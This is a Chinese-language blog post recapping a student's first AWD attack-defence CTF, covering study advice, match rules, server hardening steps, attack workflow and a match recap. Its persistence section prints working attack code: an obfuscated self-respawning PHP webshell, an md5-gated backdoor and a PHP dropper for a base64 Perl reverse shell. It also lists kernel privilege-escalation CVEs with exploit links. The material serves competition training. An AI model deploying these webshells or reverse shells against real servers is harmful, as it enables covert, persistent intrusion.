个人年度总结及AWD线下赛复盘

文章来自渗透云笔记作者团&掣雷小组内部成员;Johnny

  • 拖了很久,今天记录下第一次参加某全国awd比赛后的一些感想以及学到的些许皮毛知识, 也算是对自己自学了小一年的学习成果的检验,防守方面由W.B战队防守队员记录,其他由笔者记录。

开头有一小段水文警告~(不想看可以直接跳到AWD线下赛介绍)

与网安的渊源

记得初中呢会儿,就觉得黑客很酷,自己加了很多qq群,呢个时候差不多是09,10年吧,不知道我玩的时候1433抓鸡算不算过时了。反正呢会儿就是拿着****hacker论坛的1433抓鸡工具,搞个纯真IP库一顿扫,呢会儿算已经玩过葛X写的某鸽子了,呢会儿很费解,不懂为什么马传给对方,自己这里不上线,后来才了解到原来自己所处内网,需要做端口转发,呢个时候还是3322花生域名哈哈哈,做了转发,对方打开才能上线,后来又玩3389端口爆破,直到现在学了网络安全法,才了解到原来这都是违法的!!!到现在还心有余悸。之后初中毕业,反正后面书也没念好。后来只顾着减肥了,也就没继续学下去,也算是一个契机吧,2018年9月有幸考进了这个专业,但是自己之前没有系统学习过,无奈那就从头开始咯,怕什么?反正年纪轻,在学校事情也不多,不多说就是干!虽然一个是脑力一个是体力但是和健身原理一样

需要准备的

还好有诸位贵人相助(辅导员们,上一届师兄们,学校各位老师以及实习单位师父), 小的也好有条努力的方向,但是时间紧任务重19年5月份就要比赛了,所以学的真的很粗略,后续边实践,边深入~

  • 先大致学习了一下linux系统的常用指令,这个可以看下《Linux就该这么学》,当然想详细了解不怕臃肿的可以看《鸟哥的私房菜》,毕竟是经典中的经典
  • 网络工程,至少tcp三次握手要知道,还能看得懂报文。
  • 然后学会了上面的linux基本的常用指令,可以开始网上搜寻各种”黑客”的视频,这个别来问我拿自己想办法吧,办法总比困难多,这个时代想学但是没资源,就是TM借口!
  • 一套视频认真看完,所谓认真是指1.5倍速播放看一遍,因为会有很多P话,然后重点以及自己记不住的地方记下来,所谓好记性不如烂笔头
  • 千万别做收藏党。。。我一开始也是这种SB,导致我5t的网盘都快被我塞爆了,所谓收藏党就是感觉自己转存到网盘,感觉自己吃透了这套课程的全部内容
  • 必看书籍:道哥的白帽子讲web安全,反正我到现在都没吃透这本书,但是看书总比你看P*hub要好吧?
  • 要会自己搭虚拟机,自己配环境,DVWA这个靶场必须日穿,至少玩到中等难度!
  • 最难的来了。Python,对于没有编程基础的人来说,这个语言是最友好的,感恩学校教了些许Java,抱着这一点点基础,结合了“玄魂”大佬的教程,又重新看了天均老哥的公众号“渗透云笔记”,再把这些基础例子敲完,差不多对Python的基础语法有了些许了解
  • 后续根据之前学的常见漏洞,加上自学的三脚猫的Python,学习如何写Poc(漏洞验证),以及Exp(漏洞利用)
  • 代码审计是王道,php基本的语法学完,能看懂整个一段代码的逻辑,然后跟着审计几套简单的漏洞集合的cms,毕竟php是世界上最好的编程语言(手动滑稽)

AWD线下赛介绍

赛制和时长:

竞赛为混战模式,3 人为 1 队。每个队伍环境靶机 2 个,一个靶机为 PWN 考 察点,一个靶机含有多个 web 考察点,每 20 分钟为 1 阶段,共 9 个阶段,第 1 阶段为准备及加固阶段,第 2 至第 9 阶段为渗透混战阶段。比赛总时长为 3 小时。

竞赛规则

  • 1、参赛选手于比赛正式开始前凭有效证件签到。
  • 2、比赛正式开始后迟到 30 分钟者不得进入比赛场地。
  • 3、竞赛期间参赛选手不得随意离开竞赛工位。
  • 4、参赛选手自带笔记本电脑(自带 RJ45 网口或 USB-RJ45 转接头)、资料(包
  • 5、括书籍、电子资料)及移动存储工具。
  • 6、比赛过程中发现问题,应当示意裁判组,由裁判组进行解答。
  • 7、比赛过程中不允许任何参数选手携带通讯设备,需统一上交进行管理, 不允许任何人通过任何形式进行上网。
  • 8、参赛队伍必须保证防守机持续正常运行,保持特定服务或端口处于持续 正常服务状态,对漏洞的修复不得影响服务的正常功能。
  • 9、禁止任何对比赛相关平台的暴力破解和攻击,禁止对本平台进行重放数 据包攻击,限制频率为 10 次/1 秒,禁止 DDOS、ARP 等干扰比赛正常进行的 攻击,禁止任何针对参赛对手的网络攻击行为,违规者一律取消参赛资格并 进行公示。
  • 10、除参赛选手及大赛赛场工作人员外,其余人员一律不得进入赛场。
  • 11、禁止进行限制其他队伍攻击己方防守机的配置,或者限制访问 FLAG 服 务器(例如,修改防守机到 FLAG 服务器的路由等),违规者一律取消参赛 资格并进行公示。
  • 12、比赛过程中不能相互交流,禁止参赛队伍之间分享任何解题思路及 FLAG, 违规者一律取消参赛资格并进行公示。
  • 13、比赛中裁判有可能抽查获取得分点的方法,如果发现回答有误,疑似非 法渠道获取答案的,取消其该项得分,严重者取消比赛资格并进行公示。
  • 14、公平起见,只有当没有任何参赛队伍解出某题的时候,裁判组才可能发 放相关提示,解题提示信息请关注竞赛公告。
  • 15、竞赛结束(或提前完成)后,参赛选手不得进行任何操作。
  • 16、比赛过程中,请服从和配合裁判和现场工作人员的相关安排。
  • 17、如有其它违规行为,组委会及裁判组将酌情进行相应的处罚措施。
  • 18、其他事项由组委会裁判组在比赛前一天进行公告及通知。

攻防对抗赛评分规则:

攻防对抗题总得分=初始分值+攻击得分-被攻击失分-服务异常扣分-重置防 守机扣分

  • 1、攻防对抗题初始分值为 8000 分。
  • 2、参赛队伍攻击其他队伍防守机并获得权限后,可访问平台 flag 生成地址 (curl http://192.168.100.1/Getkey)获得 flag。
  • 3、比赛每 20 分钟为一个阶段,同一阶段内只能提交同一队伍的 flag1 次。
  • 4、flag 有效期为 60s,获取后尽快提交。
  • 5、flag 提交成功后,渗透成功 1 个靶机得分 5 分,2 个靶机得分 10 分。
  • 6、check 机制定时对所有防守机进行探测,探测业务可用性,服务可用性。 每轮次比赛,最多扣 400 分(防守机任意应用服务异常,则触发扣分机制, 比赛平台答题页面会实时提醒防守机异常状态)
  • 7、参赛队伍可请求裁判重置本方防守机,每重置一个虚拟机,扣除 50 分(注 意:重置后,之前所有的加固策略及攻击方的后门皆失效,所以防守机恢复 到初始状态)。

团队分工

  • 基本上都是3人为一组,纯web组两人攻击一人防守,如果有pwn手的话,web一攻一防,pwn一个人

防御篇

一、AWD防守队员需具备的基础知识和防御关注方向:

  • 前期需要对于php、sql、html、css、python等语言有基础知识,最好能做到看得懂,分析得 了,建议掌握一门python语言以便脚本的编写,在防御方面python脚本编写也可以实现一系列的自动化,这个后面会详细阐述。
  • 对tcp/ip协议、http、https需要有所了解。网络攻防,是架构在网络上的,我们的队员要知道网络是如何通讯的,三次握手、四次挥手。
  • 由于awd比赛很多都是lamp环境下的(linux、apache、mysql、PHP)所以熟练的使用linux系统基本命令也是很重要的,对于bash脚本编写也是需要知晓的。
  • 由于AWD比赛时间较短节奏较为紧张,为了达到比赛的观赏性,主办方提供的cms源码中都会预置漏洞,主要出现的就是源码中预留的webshell、典型的文件上传漏洞、后台弱口令(这个是真实渗透中最容易出问题的地方,虽然对于awd来说对拿到shell权限帮助不是很明显)、passthru()函数利用、还有目录穿越漏洞、sql注入上述是经常在awd比赛中出现的,也是我们防守队员需要关注的点。
  • 除此之外,我还建议各位防守队员自己能经常搭建各种cms,手里多留几套cms,一旦比赛遇到可以用BeyondCompare工具对比分析,还可以对比cms的漏洞,比自己比赛场上挖洞还是效率很多的,自己留有cms也可以在源码找不到的时候利用find命令查询到源码位置,在19年8月的决赛中就遇到有一套cms在/usr/share/nginx/html里,我就是利用自己提前准备的cms对比查询,给团队第一时间找到了预留webshell,稳固了团队的排名。

二、防守流程详解:

  • 连接ssh,这里建议使用mobaXterm,集ssh和ftp工具于一体的神仙工具。连接完ssh,如果发现是弱口令或者统一的口令,应当立刻修改ssh密码。笔者于2019年6月的初赛中就在此处吃了亏,修改ssh密码的速度比不过脚本,比赛前两个小时等于盲打,惨痛的教训啊,划重点!!!
  • 打包源码,我个人习惯是利用tar -zcvf xxx.tar.gz /路径,源码备份一是可以分析源码找木马,二是可以做备份谨防被人删库导致down机持续被check扣分。
  • 把源码download至本地,解压后,拖进D盾进行扫描(这一步360也可以扫,甚至会爆出更多疑似后门文件),这一步既能作为查找官方预留webshell的方法,也可以做后期攻击分析无奈时的最原始的暴力方法(遇到不是写一句话木马的就无效了)。
  • 数据库备份也必不可少,这一步要先看数据库配置文件,对于我们这套cms的数据库名、数据库账号、数据库密码,然后利用mysqldump的语句进行备份。这一步是为了防止被人删除或者修改数据库内容导致网页不能正常使用,被check机制扣分。 数据库进入以后可以查看后台密码,这个大概率是全场一样的弱口令,你也可以在web上扫描后台然后进入后弱口令尝试,登陆后修改密码。也可以提前准备好,根据加密方式的不同的hash,基本上是一段mysql的hash,然后你替换掉,密码就修改成你准备好的了。
  • 按照我的习惯,这一步是先在upload目录下,上传一个文件监控脚本,然后命令行cd /路径/,然后ls看一下,然后python linux.py,这边所有上传的文件都会被移位和改名了,这里要注意权限,有时候会有外部访问的权限,我们就手动的给这个文件夹chmod 600一下就好了。
  • 这一步我推荐安装一下weblogger-master脚本,具体安装方法github有,源码也在github上。这个脚本呢是进行ip记录和分析的,对于流量分析来说极为重要,可以把攻击溯源。 还建议大家再准备一个写日志的php,我这里使用logger.php,网上有很多类似的logger可以尝试一下并使用。在生成的日志里,可以对于关键字搜索,就可以知道大佬是怎么从你这里得分的,可以骑马上马利用一波大佬的马,也可以学大佬一样利用漏洞,这里建议分析完交给攻击队友,你的任务还是防御,要第一时间把洞补掉。
  • 在linux环境下,要注意权限的管理,对于给定情况,可以赋予644、755权限,自己用的工具要给755,给web用户的给644权限。这里也解释一下644、755,644代表所有者有读取、写入权限、同组用户和其他用户仅有读取权限,755代表所有者有执行、写入、读取权限、同组用户和其他用户有读取、执行权限。
  • 防守队员也可以通过使用这条命令find /var/www/html -exec touch -c -m -t 202201110000 {} ; 来实现对于/var/www/html路径下的源码进行批量修改未来时间,在mobaxterm左边的界面就可以清晰的看到,哪些文件有时间变化,这里的路径只是针对大多数常规源码,在蓝帽杯决赛中,其中web服务器中有三套cms,对于第二套cms的源码就不是这个位置,在/usr/share/nginx/html,像wordpress搭建的网站,web目录、后台也不太一样,利用御剑还需要导入不一样的字典,wordpress的后台如果没有修改过的话应该是http://site/wp-admin
  • 防守队员需要多关注比赛分数变化,一旦被扣分,就可以查看文件时间有异样的目录进行分析,也可以在自己写的log文件中进行搜索关键字如(flag、cat、curl),一旦分析出攻击方法便可提供给队友,再分析流量便可知道是哪个ip攻击的我方服务器。这里的分析分为几种情况,要分情况进行决策。

三、关于被攻击后如何加固防护并加以利用:

  • 发现攻击方通过webshell进行攻击的,需要迅速定位webshell文件先下载到本地随后将服务器上的迅速删除,分析该webshell,最好能做到利用该攻方大佬偷袭一波全场。
  • 如果是发现有文件有shell执行权限,应当进行修改,把shell执行的地方进行删除并require_once(‘/waf的路径/waf.php’);这里的waf建议准备几个各种强度的,因为比赛中check机制不同,通过上waf进行测试,如果没有被check扣分就继续使用,如果扣分了就强度减弱。
  • 如果发现是文件上传漏洞进来的,虽然我们有linux.py文件上传监控脚本,但是也不排除它能够成功执行,这时候可以测试upload.php删掉是否会被check,可以选择直接把upload.php删除,在web上,像上传这类操作执行都会有一个php来进行解析执行,所以一旦没有这个php外部就没有办法进行上传操作。不仅要自己防御,这时候还要告诉负责攻击的队友进行利用上传漏洞,或者利用他们上传好的马进行骑马上马偷分打全场。
  • 如果发现是利用passthru方法获取flag的,也可以利用搜索我们自己脚本写的log文件进行search,查询到关键字的位置,进行溯源分析。
  • 一旦发现有../../目录穿越的方法,可以选择进行权限修改600,并上传waf进行防护,关于waf被check扣分前面已经阐述了方法。
  • 我还在比赛中见过从数据库中写入进行cat /flag的,这里首先需要有后台权限,我们当时是后台密码被人修改了,他从后台往数据库里写入进行执行的,这时候就可以立马通过ssh工具界面进行mysql后台密码hash更换的方法进行修改后台密码,这时候要注意很多攻击方法都是批量(或者手动一个个打过来),攻方并不会针对你一个,他的目的是得分,所以很多人那边他都会进行一样的操作。
  • 还有sql注入漏洞,sqlmap可以利用sql注入跑出很多信息,所以在sql注入点,可以通过删除搜索所使用的php(注意别被check扣分),如果扣分则可以选择进行require、include包含一下waf进行软waf防护。

防御后记:

最后就是在awd比赛中瞬息万变,防御篇冗长但也不能囊括所有可能遇到的突发状况,所以我建议把基础知识和防御关注方向这边了解深入,从基础着手,以不变应万变,只有有着良好的基础才能更好地进行突发情况处理。不仅要有良好的基础,较多的实际操作也至关重要,像ctf给我最深的感受就是看一百遍不如做一遍,编程也是一样,自己编和啃书啃博客完全不能比拟,基础知识很重要,但是实践也很重要,你找一个网络通信基础扎实的理论派,真面对问题他也只能分析,可能到头来连burp都用不来。空学费时,实践才能牢牢掌握ctf技能。本文只是我的一些理解,可能存在不准确的地方,往大佬能指出,分享也是一种进步,Open、Free、Share才是真·黑客精神。

  • 防御篇由W.B战队防守队员撰写

攻击篇

  • 准备批量改ssh弱口令脚本,毕竟还是会有想法很简单的主办方设置这个作为考点
  • 登陆flag提交平台burp抓包,对应burp抓到的报文信息,写批量提交flag的脚本
  • 拿到源代码,代码审计放进去一把梭,别管呢么多~
  • 这里就提到之前为什么让大家收集更多的cms的poc了,因为这种大型比赛基本上都是之前比较经典的cms环境+主办方自己魔改的漏洞点+预留后门
  • 源代码顺便放D盾,扫一波预留后门,因为awd的比赛环境是每个都一样的,放的预留webshell路径也是一样的,这步可以让防御的兄弟做,扫出来直接把路径报给你,这样你只需要专注写批量EXP就完事了
  • 黑盒测试,对常见的功能点进行测试,比如:注册,登陆后是否有头像上传处,找各种上传点。搜索框等,测试是否存在sql注入,万能密码,是否存在命令执行,代码执行等等….
  • 找到漏洞点,直接用python写批量exp,这就涉及到前面提到的python基础了,别特么说不会,不会就死磕,干就完了,之后我也会写一篇,关于如何在比赛中高效针对poc写批量exp
  • 准备些提前写好的脚本,这些GitHub上都能搜,自己找自己测试,不要觉得麻烦,这是必经之路,我也不可能给你讲解别人写的脚本。我给的肯定没有你自己找来测试的好用
  • 对于小白,个人建议和防守的童鞋多沟通,因为还是有大佬的存在,让防守的同学做好流量分析,文件监控分析,比如别人打进来的流量,可以直接写exp利用,别人打进来的马,可以直接用工具爆破密码或者看明文,骑马上马,进行反攻!

攻击后记:只要还是对漏洞的原理理解,以及快速定位各功能的漏洞点,重中之重还是快速编写EXP的能力,编程是基础,也是王道!

权限维持篇

主要有两种,一种是“不死马”,另一种是反弹shell

“不死马”

<?php
    set_time_limit(0);
    ignore_user_abort(true);
    $file = '.demo.php';
    $shell = "<?php $_hR=chr(99).chr(104).chr(114);$_cC=$_hR(101).$_hR(118).$_hR(97).$_hR(108).$_hR(40).$_hR(36).$_hR(95).$_hR(80).$_hR(79).$_hR(83).$_hR(84).$_hR(91).$_hR(49).$_hR(93).$_hR(41).$_hR(59);$_fF=$_hR(99).$_hR(114).$_hR(101).$_hR(97).$_hR(116).$_hR(101).$_hR(95).$_hR(102).$_hR(117).$_hR(110).$_hR(99).$_hR(116).$_hR(105).$_hR(111).$_hR(110);$_=$_fF("",$_cC);@$_();?>";
    //$_hR='chr'
    //$_cC='eval($_POST[1]);'
    //$_fF='create_function'
    while(true){
        file_put_contents($file, $shell);
        system('chmod 777 .demo.php');
        touch(".demo.php", mktime(11,11,11,11,11,2018));
        usleep(50);
        }
?>
  • 利用预留后门,上传上面的“不死马”并访问,就会一直生成.demo.php的一句话木马,木马内容可以自行修改,只要别被其他队伍看懂就行。

文件名前加一个点,能更好地隐藏文件

  • 想要结束这个进程,除了最暴力的重启服务之外,更为优雅的如下:
<?php
while (1) {
$pid=1234;
@unlink('.demo.php');
exec('kill -9 $pid');
}
?>

先查看进程,查看对应的pid,再执行即可。

md5马+header:

<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
	if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
	$test= 'flag';
    header("flag:$test");
}
?>

放进config.php,或者index.php效果最好,因为一般很少人去看这个。

反弹shell:

<?php
    function which($pr){
        $path = execute("which $pr");
        return ($path ? $path : $pr);
    }
    function execute($cfe){
        $res = '';
        if ($cfe){
            if(function_exists('exec')){
                @exec($cfe,$res);
                $res = join("\n",$res);
            }
            elseif(function_exists('shell_exec')){
                $res = @shell_exec($cfe);
            }
            elseif(function_exists('system')){
                @ob_start();
                @system($cfe);
                $res = @ob_get_contents();
                @ob_end_clean();
            }
            elseif(function_exists('passthru')){
            @ob_start();
            @passthru($cfe);
            $res = @ob_get_contents();
            @ob_end_clean();
            }
            elseif(@is_resource($f = @popen($cfe,"r"))){
                $res = '';
                while(!@feof($f)){
                    $res .= @fread($f,1024);
                }
                @pclose($f);
            }
        }
        return $res;
    }
    function cf($fname,$text){
        if($fp=@fopen($fname,'w')) {
            @fputs($fp,@base64_decode($text));
            @fclose($fp);
        }
    }

    $yourip = "127.0.0.1";
    $yourport = '9999';
    $usedb = array('perl'=>'perl','c'=>'c');
  $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    /*
    base64加密内容如下:
    #!/usr/bin/perl
    use Socket;
    $cmd= "lynx";
    $system= 'echo "`uname -a`";echo "`id`";/bin/sh';
    $0=$cmd;
    $target=$ARGV[0];
    $port=$ARGV[1];
    $iaddr=inet_aton($target) || die("Error: $!\n");
    $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
    $proto=getprotobyname('tcp');
    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr) || die("Error: $!\n");
    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");
    system($system);
    close(STDIN);
    close(STDOUT);
    close(STDERR);
     */
    cf('/tmp/.bc',$back_connect);
    $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

利用预留后门上传上面的php文件并访问,就可以用nc反弹shell,之后就可以一直得分了

权限维持后记: 以上权限维持篇是之前自己收藏大佬写的,比赛当中因为菜,没来得及做,也正是如此导致,前期我们的优势并没有利用好!所以这里建议,在做好攻击的同时下一步就是马上做权限维持!最好搞个一条龙的EXP,思路:上马-在上的马上执行权限维持脚本或命令

提权篇:

在AWD中,一般都需要专门防御加固自己服务器的环节,但加固的很多操作都会涉及到root权限,如果直接给root权限最好,但一般只会给一个普通权限账号,这时候往往就需要给服务器提权了。关于提权,通常我们要根据kernel版本号找到对应的poc,平时我们可以收集测试一些比较新的提权poc,以备不时之需。

Linux_Local_Root_Exploits :这网站收集了许多linux本地提权的poc。

Linux-kernel-exploits(github) :一个挺全的提权exp项目,收集了04年至今的exp,并按年份和CVE归类

  • 下面分享几个最近两年并且影响范围比较大的:
  • CVE-2017-6074 (DCCP双重释放漏洞 > 2.6.18 ) :DCCP双重释放漏洞可允许本地低权限用户修改Linux内核内存,导致拒绝服务(系统崩溃)或者提升权限,获得系统的管理访问权限
  • CVE-2016-5195(脏牛,kernel 2.6.22 < 3.9 (x86/x64)) :低权限用户可修改root用户创建的文件内容,如修改 /etc/passwd,把当前用户的 uid 改成 0 即可提升为root权限
  • CVE-2016-8655(Ubuntu 12.04、14.04,Debian 7、8) :条件竞争漏洞,可以让低权限的进程获得内核代码执行权限
  • POC:https://www.seebug.org/vuldb/ssvid-92567
  • CVE-2017-1000367(sudo本地提权漏洞 ) :Linux Kernel Stack Clash安全漏洞。该漏洞是由于操作系统内存管理中的一个堆栈冲突漏洞,它影响Linux,FreeBSD和OpenBSD,NetBSD,Solaris,i386和AMD64,攻击者可以利用它破坏内存并执行任意代码 。
  • CVE-2016-1247(Nginx权限提升漏洞) :Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。
  • POC:https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

收集了一些提权的脚本工具集,可作参考:https://github.com/edwardchoijc/ctf-toolkit/Linux/getROOT

比赛复盘

南京初赛:

  • 客观因素,比如某某信主办方真的是不会办比赛,初赛时因为弱口令,美其名曰“考点”,但是确实对我们这种第一次上场的小白,相当不友好,初赛上场就被大佬队改了ssh服务密码,导致几乎全场ssh都上不去,比三个小时,足足停了1个小时,呢会儿初赛真的乱得一塌糊涂,当然主观方面还是得承认自己准备得不足,没有很充分,归根结底是自己菜
  • 后来赛方重启了服务吧,把口令都改成强口令了,比赛才能继续进行,这个时候大佬队遥遥领先,根本追不上,加上呢会儿还不会针对挖到的漏洞写exp,上了马只能一个一个手动拖,还好呢会儿我们手速快,毕竟实力单身20多年,我们连上ssh把源码拖d盾一扫,然后用之前上一届师兄留下的“传家宝”脚本,很快通过预留webshell,打了一批不死马进去
  • 然后一台一台机器,拿蚁剑连,连上了执行getflag的命令,我眼睛都快花了,还好比赛快结束了
  • 运气还是非常不错的,我们第一次参赛没有被淘汰,狗进了决赛

北京决赛:

  • 客观因素,还是一样的主办方,还是一样的不会办比赛,巧的是我这次准备了ssh批量改弱口令,并且搞定了针对挖到的漏洞,写批量exp。。嘿,你说气不气,上场还是一样的ssh连不上,这次还是被弱口令搞了嘛? 不是哦,这次是他们带我们入场时没有按照之前配的交换机,路由编号就坐,导致了除了1队2队以外,其余的队伍,ip都混乱了。。场面再一次陷入尴尬
  • 等了差不多也是一个小时多点,终于能上ssh了,但是这个时候之前第一支队伍和运气好能连上的队伍,已经差不多把预留webshell,功能点都测试完了
  • 还是凭借傲人的手速,对着上述攻击步骤,很快写出批量提交flag的脚本,然后我的队友戴哥把预留马利用脚本加上我的批量提交flag脚本,加上防守队员晓航坚不可摧的金钟罩,一路冲到第四名。。
  • 但是天有不测风云,主办方这次搞了个check机制,好像是只要上waf的,就被判down,扣100分,我们队发现了这个情况,很快就把waf撤了,所以只扣了200,其他大佬队没有关注,只关注了pwn,听说后面pwn服务器也连不上了哈哈哈哈
  • 后来pwn服务恢复了,大佬队究竟是大佬队,pwn我们都没去管,导致了最后pwn失分严重,而且比赛到中后期,该删的马,该补的洞都补完了,已经想不出有办法攻击了
  • 我们最忽视的一个点就是权限维持,之前打进去的不死马,都没做权限维持,都被删掉了。我们自己队伍之间用来通信交流的马又出现了问题,不能用。简直无能狂怒阿
  • 最后还是狗到了第12名,混了个全国二等奖,也有幸能和北邮天书这样的大佬队同台竞技,真的感觉相当好

最后想说的话:

自己也是三脚猫的功夫,一年不到的时间学了点皮毛,但是建议和我一样的小白们不要去纠结,到底怎么学。系统的学?还是直接动手搞?我的建议是,理论基础走马观花看一遍,直接动手搞,并把自己学到的所记录的,授予他人,这样你才不容易遗忘,也是真正的极客精神! Peace!~

原文发布于微信公众号 - 渗透云笔记(shentouyun)

原文发表时间:2019-09-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

扫码关注云+社区

领取腾讯云代金券